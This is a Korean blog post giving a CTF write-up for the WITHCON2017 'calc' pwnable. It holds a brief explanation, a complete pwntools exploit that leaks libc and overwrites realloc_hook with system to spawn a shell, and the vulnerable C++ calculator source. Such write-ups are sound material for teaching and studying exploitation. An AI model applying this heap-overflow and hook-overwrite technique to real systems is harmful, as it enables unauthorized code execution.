Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

WITHCON2017 calc 본문

Security/Pwnable

WITHCON2017 calc

Cdor1 2017. 11. 16. 01:32

c++로 짜여진 계산기 문제다.

a = "AAA"

a = 90

으로 공동 사용하는 size값을 속여버리면 overflow가 가능해지고 밑에있는 포인터를 덮어 익스플로잇 가능하다.


from pwn import *
s = process('./calc')

def rv():
    print s.recv()

rv()
s.sendline('a')
rv()
s.sendline('')
rv()
s.sendline('')
rv()
s.sendline('')
print s.recv().encode('hex')
print s.recvuntil('>>> ')
print s.recvuntil('>>> ')
leak = u32(s.recv(4)) - 0x20c7b0
realloc_hook= leak + 0x20c764
system = leak + 0x91060
log.info('leak : ' + hex(leak))
log.info('realloc_hook : ' + hex(realloc_hook))
rv()
s.sendline('a="AAA"')
rv()
s.sendline('a=90')
rv()
s.sendline('a="ASDFASDFASDFASDF' + p32(realloc_hook - 3) + 'F' + '"')
raw_input()
rv()
s.sendline('a="sh;' + p32(system) + '"')
rv()
s.sendline('a="AAAAAAAAAAAAAAAAAAAAAAAA"')
s.interactive()


#include 
#include 
#include 
#include 
#include 
#include 
#include 
using namespace std;

enum struct T:char { END, INT, PLUS, UPLUS, MINUS, UMINUS, MUL, DIV, LP, RP, ID, ASSIGN, STR, EXIT };

void print(char *s, int n) {
    if (n > 0) fwrite(s, 1, n, stdout);
}

typedef struct Token {
    char* str;
    union {
        int size;
        int value; //
    };
    T type;
    Token(T type) : type(type) {};
    Token(T type, int value) : value(value), type(type) {};
    Token(T type, char* str) : str(str), size(strlen(str)), type(type) {};
    ~Token() { if (type == T::ID || type == T::STR) free(str); }
} *pToken;
using sToken = shared_ptr;

class Lexer {
    int pos;
    string input;
    pToken readId();
    pToken readStr();
    pToken readDigit();
public:
    Lexer(string &input) : pos(0), input(input) {};
    pToken nToken();
};

pToken Lexer::readDigit() {
    auto i = 0;
    while (isdigit(input[pos])) i = i * 10 + input[pos++] - '0';
    if (i > 99) throw "does not support integer bigger than 99";
    return new Token(T::INT, i);;
};

pToken Lexer::readId() {
    auto limit = 0;
    auto start = pos;
    while (isalnum(input[pos++])) if (++limit > 1337) throw "does not support ID longer than 1337";
    if (!strncmp("exit", input.substr(start, pos--).c_str(), 4)) return new Token(T::EXIT);
    char* str = (char*)calloc(pos - start + 1, 1);
    if (!str) throw "Internal Error";
    strncpy(str, input.substr(start, pos).c_str(), pos - start);
    return new Token(T::ID, str);
};

pToken Lexer::readStr() {
    auto limit = 0;
    auto start = ++pos;
    while (input[pos++] != '"') if (++limit > 1337) throw "does not support string longer than 1337";
    --pos;
    char* str = (char*)calloc(pos - start + 1, 1);
    if (!str) throw "Internal Error";
    strncpy(str, input.substr(start, pos - 1).c_str(), pos++ - start);
    return new Token(T::STR, str);
};

pToken Lexer::nToken() {
    while (input[pos] == ' ') pos++;
      if (pos == input.length()) return new Token(T::END);
    if (isdigit(input[pos])) return readDigit();
    if (isalpha(input[pos])) return readId();
    if (input[pos] == '+') return new Token(T::PLUS, input[pos++]);
    if (input[pos] == '-') return new Token(T::MINUS, input[pos++]);
    if (input[pos] == '*') return new Token(T::MUL, input[pos++]);
    if (input[pos] == '/') return new Token(T::DIV, input[pos++]);
    if (input[pos] == '(') return new Token(T::LP, input[pos++]);
    if (input[pos] == ')') return new Token(T::RP, input[pos++]);
    if (input[pos] == '"') return readStr();
    if (input[pos] == '=') return new Token(T::ASSIGN, input[pos++]);
    throw "Lexer Error";
};

struct Node {
    shared_ptrtoken;
    vector>children;
    Node(sToken token) : token(token) {};
};
using sNode = shared_ptr;

class Parser {
    shared_ptr lexer;
    shared_ptr cur;
    void next(T);
    sNode factor();
    sNode term();
    sNode expr();
    sNode assign();
public:
    Parser(shared_ptr lexer) : lexer(lexer), cur(lexer->nToken()) {};
    sNode parse();
};

void Parser::next(T type) {
    if (cur->type == type) cur.reset(lexer->nToken());
    else throw "Parser Error";
};

sNode Parser::factor() {
    auto node = make_shared(cur);
    auto osNode = make_shared(cur);
    switch (cur->type) {
        case T::LP:
            next(T::LP);
            node = expr();
            next(T::RP);
        break;
        case T::PLUS:
        case T::MINUS:
            cur->type = cur->type == T::PLUS ? T::UPLUS : T::UMINUS;
            next(cur->type);
            osNode->children.push_back(factor());
            node = osNode;
        break;
        case T::ID:
        case T::INT:
        case T::STR:
        case T::MUL:
        case T::DIV:
        case T::EXIT:
            next(cur->type);
        break;
    };
    return node;
};

sNode Parser::term() {
    auto node = factor();
    while (true) {
        if (cur->type == T::MUL || cur->type == T::DIV) {
            auto osNode = make_shared(cur);
            next(cur->type);
            osNode->children.push_back(node);
            auto check = factor();
            if (check->token->type == T::END) throw "Parser Error";
            osNode->children.push_back(check);
            node = osNode;
        } else break;
    }
    return node;
};

sNode Parser::expr() {
    auto node = term();
    while (true) {
        if (cur->type == T::PLUS || cur->type == T::MINUS) {
            auto osNode = make_shared(cur);
            next(cur->type);
            osNode->children.push_back(node);
            auto check = term();
            if (check->token->type == T::END) throw "Parser Error";
            osNode->children.push_back(check);
            node = osNode;
        } else break;
    }
    return node;
};

sNode Parser::assign() {
    auto node = expr();
    while (true) {
        if (cur->type == T::ASSIGN) {
            auto osNode = make_shared(cur);
            next(cur->type);
            osNode->children.push_back(node);
            auto check = expr();
            if (check->token->type == T::END) throw "Parser Error";
            osNode->children.push_back(check);
            node = osNode;
        } else break;
    }
    return node;
};

sNode Parser::parse() {
    auto result = assign();
    if (cur->type != T::END) throw "Parser Error";
    return result;
};

static struct Symbol {
    char* id;
    sToken token;
    Symbol* next;
    Symbol(){};
    Symbol(char *str, sToken token) : token(token) {
        id = (char*) calloc(strlen(str) + 1, 1);
        if (!id) throw "Internal Error";
        strcpy(id, str);
    };
} SymTab;

class Calc {
    sToken visitor(sNode);
    sToken visitUnaryOp(sNode);
    sToken visitBinaryOp(sNode);
    sToken visitId(sNode);
    sToken visitAssign(sNode);
public:
    void interpret(sNode);
};

sToken Calc::visitor(sNode node) {
    switch (node->token->type) {
        case T::EXIT:
            print((char*)"Bye\n", 4);
            exit(0);
        case T::END:
            return node->token;
        case T::INT:
        case T::STR:
            return node->token;
        case T::UPLUS:
        case T::UMINUS:
            return visitUnaryOp(node);
        case T::PLUS:
        case T::MINUS:
        case T::MUL:
        case T::DIV:
            return visitBinaryOp(node);
        case T::ASSIGN:
            return visitAssign(node);
        case T::ID:
            auto check = visitId(node);
            if (!check) throw "Symbol Error";
            return check;
     };
     throw "Syntax Error";
};

sToken Calc::visitUnaryOp(sNode node) {
    auto result = 0;
    auto op = visitor(node->children[0]);
    if (op->type == T::INT) result = op->value;
    else if(op->type == T::STR) result = atoi(op->str);
    else throw "Syntax Error";
    return make_shared(T::INT, node->token->type == T::UPLUS ? +op->value : -op->value);
};

sToken Calc::visitBinaryOp(sNode node) {
    auto left = 0;
    auto right = 0;
    auto leftToken = visitor(node->children[0]);
    auto rightToken = visitor(node->children[1]);
    if (leftToken->type == T::INT) left = leftToken->value;
    else if(leftToken->type == T::STR) left = atoi(leftToken->str);
    else throw "Syntax Error";
    if (rightToken->type == T::INT) right = rightToken->value;
    else if(rightToken->type == T::STR) right = atoi(rightToken->str);
    else throw "Syntax Error";
    switch (node->token->type) {
        case T::PLUS:
            return make_shared(T::INT, left + right);
        break;
        case T::MINUS:
            return make_shared(T::INT, left - right);
        break;
        case T::MUL:
            return make_shared(T::INT, left * right);
        break;
        case T::DIV:
            return make_shared(T::INT, left / right);
        break;
    };
};

sToken Calc::visitId(sNode node) {
    sToken result = nullptr;
    auto symbol = &SymTab;
    while (symbol->next != &SymTab) {
        symbol = symbol->next;
        if (!strncmp(node->token->str, symbol->id, strlen(symbol->id))) {
            result = symbol->token;
            break;
        }
    };
    return result;
};

sToken Calc::visitAssign(sNode node) {
    auto var = node->children[0];
    auto value = visitor(node->children[1]);
    if (var->token->type != T::ID || !value) throw "Syntax Error";
    if (auto variable = visitId(var)) {
        if (variable->type == T::STR && value->type == T::STR) {
            if (variable->size < value->size) variable->str = (char*)realloc(variable->str, value->size + 1);
            if (!variable->str) throw "Internal Error";
            variable->size = strlen(variable->str);
            strcpy(variable->str, value->str);
        } else if (variable->type == T::INT && value->type == T::STR) variable->value = atoi(value->str);
        else variable->value = value->value;
    } else {
        auto symbol = &SymTab;
        while (symbol->next != &SymTab) symbol = symbol->next;
        symbol->next = new Symbol(var->token->str, value);
        symbol->next->next = &SymTab;
    }
    return value;
};

void Calc::interpret(sNode AST) {
    auto result = visitor(AST);
    if (result->type == T::INT) {
        auto buf = to_string(result->value);
        print((char*)buf.c_str(), buf.length());
    } else {
        if (result->size > 4) print(result->str, 4);
        else print(result->str, result->size);
    }
};

int main() {
    SymTab.next = &SymTab;
    signal(SIGALRM, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    cout << "Calc 0.31337 (" __DATE__ ", " __TIME__ ")" << endl;
    while (true) {
        string input;
        alarm(5);
        print((char*)">>> ", 4);
        getline(cin, input);
        try {
            shared_ptrlexer(new Lexer(input));
            shared_ptrparser(new Parser(lexer));
            shared_ptrcalc(new Calc());
            calc->interpret(parser->parse());
        } catch(const char *s) {
            print((char*)s, strlen(s));
        }
        alarm(0);
        print((char*)"\n", 1);
    }
    return 0;
}

'Security > Pwnable' 카테고리의 다른 글

pwnable.tw breakout  (0) 2017.12.18
WHL_CAT-security start  (0) 2017.11.28
Simple Docker Command  (0) 2017.11.01
pwnable.tw kidding  (0) 2017.11.01
pwnable.tw starbound  (0) 2017.10.17
Comments